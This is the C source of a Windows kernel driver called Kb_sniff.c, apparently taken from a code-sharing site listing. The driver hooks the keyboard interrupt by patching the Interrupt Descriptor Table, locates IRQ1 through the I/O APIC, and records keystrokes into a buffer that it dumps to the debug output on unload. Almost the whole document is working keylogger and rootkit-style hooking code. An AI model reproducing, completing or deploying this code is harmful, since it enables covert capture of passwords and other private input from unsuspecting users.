Kb_sniff.c

Upload User: dgkdhy89
Upload Date: 2013-03-31
Package Size: 6k
Code Size: 8k
Category: SCM
Development Platform: Asm
  1. #include <ntddk.h>
  2. #include <stdio.h>
  3. #define MAX_CHARS 256
  4. #define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))
  5. PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
  6. PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;
  7. // status register bits
  8. #define IBUFFER_FULL 0x02
  9. #define OBUFFER_FULL 0x01
  10. // flags for keyboard status
  11. #define S_SHIFT 1
  12. #define S_CAPS 2
  13. #define S_NUM 4
  14. int kb_status = S_NUM;
  15. ///////////////////////////////////////////////////
  16. // IDT structures
  17. ///////////////////////////////////////////////////
  18. #pragma pack(1)
  19. // entry in the IDT, this is sometimes called
  20. // an "interrupt gate"
  21. typedef struct
  22. {
  23. unsigned short LowOffset;
  24. unsigned short selector;
  25. unsigned char unused_lo;
  26. unsigned char segment_type:4; //0x0E is an interrupt gate
  27. unsigned char system_segment_flag:1;
  28. unsigned char DPL:2; // descriptor privilege level 
  29. unsigned char P:1; /* present */
  30. unsigned short HiOffset;
  31. } IDTENTRY;
  32. /* sidt returns idt in this format */
  33. typedef struct
  34. {
  35. unsigned short IDTLimit;
  36. unsigned short LowIDTbase;
  37. unsigned short HiIDTbase;
  38. } IDTINFO;
  39. #pragma pack()
  40. int kb_int = 0x93;
  41. unsigned long old_ISR_pointer;
  42. unsigned char keystroke_buffer[MAX_CHARS];
  43. int kb_array_ptr=0;
  44. unsigned char asciiTbl[]={
  45.     0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
  46.     0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
  47.     0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
  48.     0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  49.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
  50.     0x32, 0x33, 0x30, 0x2E,
  51.     0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
  52.     0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
  53.     0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
  54.     0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  55.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
  56.     0x32, 0x33, 0x30, 0x2E,
  57.     0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
  58.     0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
  59.     0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
  60.     0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  61.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
  62.     0x32, 0x33, 0x30, 0x2E,
  63.     0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
  64.     0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
  65.     0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
  66.     0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  67.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
  68.     0x32, 0x33, 0x30, 0x2E
  69. };
  70. ULONG WaitForKbRead()
  71. {
  72. int i = 100;
  73. UCHAR mychar;
  74. do
  75. {
  76. mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
  77. KeStallExecutionProcessor(666);
  78. if(!(mychar & OBUFFER_FULL)) break;
  79. }
  80. while (i--);
  81. if(i) return TRUE;
  82. return FALSE;
  83. }
  84. ULONG WaitForKbWrite()
  85. {
  86. int i = 100;
  87. UCHAR mychar;
  88. do
  89. {
  90. mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );
  91. KeStallExecutionProcessor(666);
  92. if(!(mychar & IBUFFER_FULL)) break;
  93. }
  94. while (i--);
  95. if(i) return TRUE;
  96. return FALSE;
  97. }
  98. VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
  99. {
  100. IDTINFO idt_info;
  101. IDTENTRY* idt_entries;
  102. char _t[255];
  103. // load idt_info
  104. __asm sidt idt_info
  105. idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
  106. DbgPrint("UnHooking Interrupt...");
  107. // restore the original interrupt handler
  108. __asm cli
  109. idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer;
  110. idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
  111. __asm sti
  112. DbgPrint("UnHooking Interrupt complete.");
  113. DbgPrint("Keystroke Buffer is: ");
  114. DbgPrint("%s", keystroke_buffer);
  115. }
  116. // using stdcall means that this function fixes the stack before returning (opposite of cdecl)
  117. void __stdcall print_keystroke()
  118. {
  119. UCHAR sch, ch = 0;
  120. int off = 0;
  121. WaitForKbRead();
  122. sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
  123. if (sch == 0xE0)
  124. {
  125. WaitForKbRead();
  126. sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
  127. }
  128. if (kb_status & S_CAPS)
  129. off += 0x54;
  130. if (kb_status & S_SHIFT)
  131. off += 0x54 * 2;
  132. if ((sch & 0x80) == 0) //make
  133. {
  134. if ((sch < 0x47) || 
  135. ((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock
  136. {
  137. ch = asciiTbl[off+sch];
  138. }
  139. switch (sch)
  140. {
  141. case 0x3A:
  142. kb_status ^= S_CAPS;
  143. break;
  144. case 0x2A:
  145. case 0x36:
  146. kb_status |= S_SHIFT;
  147. break;
  148. case 0x45:
  149. kb_status ^= S_NUM;
  150. }
  151. }
  152. else //break
  153. {
  154. if (sch == 0xAA || sch == 0xB6)
  155. kb_status &= ~S_SHIFT;
  156. }
  157. if (ch >= 0x20 && ch < 0x7F)
  158. {
  159. keystroke_buffer[kb_array_ptr++] = ch;
  160. keystroke_buffer[kb_array_ptr] = '';
  161. if (kb_array_ptr >= MAX_CHARS-1)
  162. {
  163. kb_array_ptr = 0;
  164. }
  165. }
  166. //put scancode back (works on PS/2)
  167. WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode
  168. WaitForKbWrite();
  169. WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back
  170. }
  171. // naked functions have no prolog/epilog code - they are functionally like the 
  172. // target of a goto statement
  173. __declspec(naked) my_interrupt_hook()
  174. {
  175. __asm
  176. {
  177. pushad // save all general purpose registers
  178. pushfd // save the flags register
  179. call print_keystroke // call function
  180. popfd // restore the flags
  181. popad // restore the general registers
  182. jmp old_ISR_pointer // goto the original ISR
  183. }
  184. }
  185. // Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf
  186. int search_irq1()
  187. {
  188. unsigned char *pIoRegSel;
  189. unsigned char *pIoWin;
  190. unsigned char ch;
  191. PHYSICAL_ADDRESS phys;
  192. PVOID pAddr;
  193. phys.u.LowPart = 0xFEC00000;
  194. pAddr = MmMapIoSpace(phys, 0x14, MmNonCached);
  195. if (pAddr == NULL)
  196. return 0;
  197. pIoRegSel = (unsigned char *)pAddr;
  198. pIoWin = (unsigned char *)(pAddr) + 0x10;
  199. /*
  200. {
  201. int  i;
  202. unsigned char j;
  203. for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)
  204. {
  205. *pIoRegSel = j;
  206. ch = *pIoWin;
  207. DbgPrint("RedTbl[%02d]: 0x%02Xn", i, ch);
  208. }
  209. }
  210. */
  211. *pIoRegSel = 0x12; // irq1
  212. ch = *pIoWin;
  213. MmUnmapIoSpace(pAddr, 0x14);
  214. return (int)ch;
  215. }
  216. NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
  217. {
  218. IDTINFO idt_info;
  219. IDTENTRY* idt_entries;
  220. char _t[255];
  221. theDriverObject->DriverUnload  = OnUnload; 
  222. kb_int = search_irq1();
  223. DbgPrint("kb_int = 0x%02Xn", kb_int);
  224. // load idt_info
  225. __asm sidt idt_info
  226. idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
  227. DbgPrint("Hooking Interrupt...");
  228. old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset);
  229. // remember we disable interrupts while we patch the table
  230. __asm cli
  231. idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook;
  232. idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
  233. __asm sti
  234. DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08Xn", old_ISR_pointer, my_interrupt_hook);
  235. return STATUS_SUCCESS;
  236. // return STATUS_DEVICE_CONFIGURATION_ERROR;
  237. }